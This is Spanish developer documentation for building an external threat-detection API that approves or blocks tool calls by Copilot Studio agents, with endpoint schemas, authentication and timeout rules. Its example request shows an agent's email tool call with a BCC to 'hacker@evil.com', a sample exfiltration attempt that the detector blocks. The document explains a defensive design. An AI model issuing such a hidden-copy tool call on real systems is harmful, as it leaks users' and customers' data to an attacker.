Crear un sistema de detección de amenazas en tiempo de ejecución para agentes de Copilot Studio

Las organizaciones pueden agregar una capa de seguridad a sus agentes de Copilot Studio conectándolos a un sistema de detección de amenazas en tiempo de ejecución. Una vez conectado, el agente llama a este sistema en tiempo de ejecución. El agente envía datos al sistema para que este pueda determinar si una herramienta que el agente planea invocar es legítima o no. El sistema responde entonces a Copilot Studio con una respuesta de "aprobar" o "bloquear", provocando que el agente invoque u omita la herramienta según corresponda. Para obtener más información sobre cómo conectar agentes a un sistema externo de detección de amenazas existente, consulte Habilitar la detección y protección externa de amenazas para agentes personalizados de Copilot Studio.

Este artículo está dirigido a desarrolladores y describe cómo integrar sus propias capacidades de detección de amenazas como proveedor de seguridad para los agentes de Copilot Studio.

La integración se basa en una API que consta de dos puntos de conexión. El punto de conexión principal que debe implementar es el punto de conexión analyze-tool-execution. Debe exponer este punto de conexión como una interfaz para su sistema de detección de amenazas. Una vez que los clientes configuren su sistema como su sistema de detección de amenazas externas, el agente llamará a esta API cada vez que pretenda ejecutar una herramienta.

Además del punto de conexión de analyze-tool-execution , también debe exponer un segundo punto de conexión, llamado validate. El punto de conexión validate se utiliza para comprobar el estado y la preparación del punto de conexión como parte de la configuración del sistema.

En las siguientes secciones se describirá cada punto de conexión en detalle.

POST /validate

Propósito: Verifica que el punto de conexión de detección de amenazas esté accesible y funcionando. Se utiliza para la configuración inicial y pruebas de configuración.

Validación de la solicitud

  • Método: POST

  • URLhttps://{threat detection endpoint}/validate?api-version=2025-05-01:

  • Encabezados:

    • Autorización: Token de portador para la autenticación de la API

    • x-ms-correlation-id: GUID para seguimiento

  • Cuerpo: vacío

Validar la respuesta

Ejemplo de respuesta 200 OK

{
  "isSuccessful": true,
  "status": "OK"
}

Ejemplo de respuesta de error

Si ocurre un error (código HTTP no exitoso), el punto de conexión devuelve un código de error, un mensaje y diagnósticos opcionales.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyze-tool-execution

Propósito: Envía el contexto de ejecución de la herramienta para la evaluación de riesgos. Evalúa la solicitud de ejecución de la herramienta y responde si permite o bloquea la ejecución de la herramienta.

Solicitud Analyze-tool-execution

  • Método: POST

  • URLhttps://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01:

  • Encabezados:

    • Autorización: Token de portador para la autenticación de la API
    • Tipo de contenido: application/json

  • Cuerpo: objeto JSON

Ejemplo de solicitud analyze-tool-execution

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Analizar respuesta de ejecución de herramienta

200 OK

Cuando la solicitud es válida, se evalúa el uso de la herramienta especificado en la petición y se permite o se bloquea, según los criterios definidos. La respuesta puede incluir los siguientes campos:

  • blockAction (booleano): Indica si la acción debe bloquearse
  • reasonCode (entero, opcional): Código numérico que indica el motivo del bloqueo
  • reason (cadena, opcional): Explicación legible para personas
  • diagnostics (objeto, opcional): otros detalles para el seguimiento o la depuración

Ejemplo de respuesta de permiso

{
  "blockAction": false
}

Ejemplo de respuesta de bloqueo

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Ejemplo de respuesta con error

Si la solicitud no es válida, se devuelve una respuesta de error con un código de error, mensaje, estado HTTP y diagnósticos opcionales.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Referencia de estructuras de cuerpo de respuesta y solicitud

Las siguientes tablas describen el contenido de varios objetos utilizados dentro de los cuerpos de solicitud y respuesta para los puntos finales.

ValidationResponse

Nombre Tipo Obligatorio Descripción
isSuccessful Booleana Sí Indica si la validación ha pasado.
status cadena Sí Mensaje de estado opcional o detalle específico del socio.

AnalyzeToolExecutionResponse

Nombre Tipo Obligatorio Descripción
blockAction Booleana Sí Indica si la acción debe ser bloqueada.
reasonCode entero No Código numérico de motivo (opcional), asignado por el socio.
reason string No Explicación opcional legible por personas.
diagnóstico cadena No Información de diagnóstico de forma libre opcional para depuración o telemetría Debe estar previamente serializado.

ErrorResponse

Nombre Tipo Obligatorio Descripción
errorCode entero Sí Identificador numérico del error (p. ej., 1001 = campo ausente, 2003 = fallo de autenticación).
message cadena Sí Explicación comprensible para humanos del error.
httpStatus entero Sí Código de estado HTTP devuelto por el partner.
diagnóstico cadena No Información de diagnóstico de forma libre opcional para depuración o telemetría Debe estar previamente serializado.

EvaluationRequest

Nombre Tipo Obligatorio Descripción
plannerContext PlannerContext Sí Datos de contexto del planificador.
toolDefinition ToolDefinition Sí Detalles de la definición de la herramienta.
inputValues Objeto JSON Sí Diccionario de pares clave-valor proporcionado a la herramienta.
conversationMetadata ConversationMetadata Sí Metadatos de contexto de la conversación, usuario y seguimiento del plan.

PlannerContext

Nombre Tipo Obligatorio Descripción
userMessage cadena Sí El mensaje original enviado por el agente.
pensamiento cadena No Explicación del planificador sobre por qué se eligió esta herramienta.
chatHistory ChatMessage[] No Lista de mensajes de chat recientes con el usuario.
previousToolsOutputs ToolExecutionOutput[] No Lista de salidas recientes de herramientas.

ChatMessage

Nombre Tipo Obligatorio Descripción
id string Sí Identificador único para este mensaje en la conversación.
role cadena Sí Origen del mensaje (p. ej., usuario, asistente).
contenido cadena Sí El mensaje de texto.
marca de tiempo string (date-time) No Marca de tiempo ISO 8601 que indica cuándo se envió el mensaje.

ToolExecutionOutputs

Nombre Tipo Obligatorio Descripción
toolId cadena Sí Identificador único para este mensaje en la conversación.
toolName cadena Sí Nombre de la herramienta.
resultados ExecutionOutput[] Sí Lista de resultados de ejecución de la herramienta.
marca de tiempo string (date-time) No Marca de tiempo ISO 8601 que indica cuándo se completó la ejecución de la herramienta.

ExecutionOutput

Nombre Tipo Obligatorio Descripción
name string Sí Nombre del parámetro de salida.
Descripción string No Explicación del valor de salida.
tipo objeto No Tipo de datos de la salida.
Valor Valor de datos JSON Sí El valor de salida.

ToolDefinition

Nombre Tipo Obligatorio Descripción
id string Sí Identificador único de la herramienta.
tipo cadena Sí Especifica el tipo de herramienta utilizada en el planificador.
name string Sí Nombre de la herramienta en lenguaje natural.
Descripción string Sí Resumen de lo que hace la herramienta.
inputParameters ToolInput[] No Parámetros de entrada de la herramienta.
outputParameters ToolOutput[] No Parámetros de salida que la herramienta devuelve tras la ejecución.

ToolInput

Nombre Tipo Obligatorio Descripción
name string Sí Nombre del parámetro de entrada.
Descripción string No Explicación del valor esperado para este parámetro de entrada.
tipo Objeto JSON No Tipo de datos del parámetro de entrada.

ToolOutput

Nombre Tipo Obligatorio Descripción
name string Sí Nombre del parámetro de salida.
Descripción string No Explicación del valor de salida.
tipo Objeto JSON No Tipo del valor de salida.

ConversationMetadata

Nombre Tipo Obligatorio Descripción
agente AgentContext Sí Información sobre el contexto del agente.
Usuario de UserContext No Información sobre el usuario que interactúa con el agente.
desencadenador TriggerContext No Información sobre qué desencadenó la ejecución del planificador.
conversationId cadena Sí Id. de la conversación en curso.
planId cadena No Id. del plan utilizado para cumplir la solicitud del usuario.
planStepId cadena No Paso dentro del plan correspondiente a la ejecución de esta herramienta.
parentAgentComponentId cadena No Id. del componente del agente principal

AgentContext

Nombre Tipo Obligatorio Descripción
id string Sí Id. del agente.
tenantId cadena Sí Inquilino en el que reside el agente.
environmentId cadena Sí Entorno en el que se publica el agente.
version cadena No Versión del agente (opcional si isPublished es falso).
isPublished Booleana Sí Si este contexto de ejecución es una versión publicada.

UserContext

Nombre Tipo Obligatorio Descripción
id cadena No Id. de objeto de Microsoft Entra del usuario.
tenantId cadena No Id. de inquilino del usuario.

TriggerContext

Nombre Tipo Obligatorio Descripción
id cadena No Id. del desencadenador que desencadenó el planificador.
schemaName cadena No El nombre del esquema del desencadenador que ha activado el planificador.

Autenticación

La integración que desarrolle debe usar la autenticación Microsoft Entra ID. Siga las instrucciones sobre Integrar aplicaciones que crean sus desarrolladores.

Los pasos que se deben seguir son los siguientes:

  • Cree un registro de aplicación para el recurso en el inquilino.
  • Exponer un ámbito para su API web. El ámbito expuesto debe ser la URL base del recurso al que llaman los clientes. Por ejemplo, si la URL de la API es https://security.contoso.com/api/threatdetection, entonces el ámbito expuesto debe ser https://security.contoso.com.
  • Dependiendo de cómo implemente su servicio, debe implementar lógica de autorización y validar los tokens entrantes. Debe documentar cómo el cliente debe autorizar sus aplicaciones. Hay varias formas de hacerlo, p. ej., usando una lista de permitidos de Id. de aplicación o control de acceso basado en roles (RBAC).

Requisitos de tiempo de respuesta

El agente espera una respuesta del sistema de detección de amenazas en menos de 1000 ms. Debe asegurarse de que su punto de conexión responda a la solicitud dentro de este plazo. Si su sistema no responde a tiempo, el agente actúa como si su respuesta fuera "permitir", invocando la herramienta.

Control de versiones de API

En las solicitudes, la versión de la API se especifica mediante el parámetro de consulta api-version (por ejemplo, api-version=2025-05-01). Su implementación debe ser tolerante a otros campos inesperados y no debe fallar si se agregan nuevos valores en el futuro. Los partners no deben comprobar la versión de la API, ya que todas las versiones en este momento se consideran que no rompen la compatibilidad. Los socios deben llevar un registro de las versiones de la API, pero no deben rechazar la solicitud al detectar una nueva versión.

  • Last updated on